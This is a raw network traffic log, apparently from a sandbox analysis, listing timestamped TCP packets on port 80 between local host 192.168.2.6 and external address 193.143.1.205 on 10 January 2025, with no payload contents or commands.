Jan 10, 2025 19:06:20.982960939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.982974052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.983020067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.983030081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.983033895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.983050108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.983061075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:20.983063936 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.983124018 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:20.992487907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.003210068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.003223896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.003236055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.003304958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.003304958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.003318071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.003335953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.003354073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.003367901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.003395081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.003407001 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.003494024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.003506899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.003519058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.003529072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.003590107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.003590107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.019911051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.019952059 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.035121918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.035134077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.035145998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.035157919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.035303116 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.035303116 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.066629887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.066633940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.066651106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.066679955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.066690922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.066700935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.066713095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.066723108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.066735029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.066754103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.066755056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.066756964 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.066756964 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.066761017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.066787958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.066802025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.066822052 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.066874981 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.066888094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.066912889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.066926003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.066953897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.066958904 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.067015886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.067145109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.067157984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.067168951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.067260027 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.067264080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.067279100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.067290068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.067356110 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.067356110 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.100986004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101006031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101017952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101039886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101052999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101063967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101078033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101089954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101135015 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.101135015 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.101135015 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.101144075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101160049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101231098 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.101279020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101294041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101305008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101317883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101330042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101342916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101353884 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.101355076 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.101356030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101370096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101383924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101428032 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.101428032 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.101516962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101530075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101542950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101563931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101576090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101588011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101588011 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.101588964 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.101603031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101623058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.101669073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.101769924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101788044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101799965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101813078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101826906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101839066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101851940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101864100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101874113 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.101874113 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.101878881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101897001 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.101907015 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.101924896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101938963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101952076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.101994038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.102199078 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.102528095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.102541924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.102555037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.102566004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.102576971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.102588892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.102592945 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.102602005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.102612019 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.102695942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.102709055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.102715015 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.102720976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.102735043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.102747917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.102760077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.102771997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.102771997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.102776051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.102788925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.102802038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.102844954 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.102844954 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.102844954 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.105943918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.105967999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.105981112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106023073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106057882 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.106057882 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.106091022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106105089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106117010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106129885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106143951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106182098 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.106182098 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.106296062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106308937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106321096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106333971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106347084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106359005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106370926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106385946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106395960 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.106395960 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.106395960 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.106425047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106462002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106501102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.106501102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.106612921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106626034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106652021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106663942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106676102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106688976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106698036 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.106698036 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.106714010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106726885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106726885 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.106740952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106750965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.106794119 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.107258081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.110307932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.123613119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.123626947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.123640060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.123704910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.123718977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.123730898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.123744965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.123776913 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.123776913 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.123776913 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.123817921 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.146127939 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.155158043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155169964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155189991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155204058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155215979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155261993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155272961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155288935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155296087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.155296087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.155303955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155329943 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.155359983 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.155375004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155386925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155400038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155433893 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.155471087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155482054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155493021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155507088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155519009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155551910 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.155551910 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.155551910 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.155601978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155615091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155627012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155637980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155668020 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.155725002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155736923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155749083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155760050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.155801058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.155801058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.155801058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.155819893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.156287909 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.157829046 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.187711000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.187722921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.187733889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.187772036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.187783003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.187793970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.187865973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.187876940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.187890053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.187901974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.187915087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.187930107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.187930107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.187930107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.187992096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188004971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188014984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188026905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188060045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.188060045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.188082933 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.188091040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188205957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188218117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188229084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188241959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188245058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.188255072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188265085 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.188267946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188282013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188293934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188344002 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.188344955 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.188344955 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.188400984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188412905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188436985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188467979 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.188553095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188565016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188575029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188591957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188615084 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.188637018 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.188715935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188728094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188739061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188752890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188765049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188776016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188787937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188801050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188813925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.188826084 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.188827038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.188827038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.188896894 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.188896894 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.189009905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189022064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189033031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189043999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189054966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189074039 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.189207077 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.189268112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189281940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189292908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189305067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189316988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189328909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189340115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189351082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189362049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189366102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.189366102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.189366102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.189376116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189430952 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.189430952 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.189655066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189666986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189687014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189697981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189708948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189719915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189732075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189738989 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.189738989 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.189743042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189757109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:06:21.189757109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189771891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189784050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:06:21.189795971 CET	80	49710	193.143.1.205	192.168.2.6
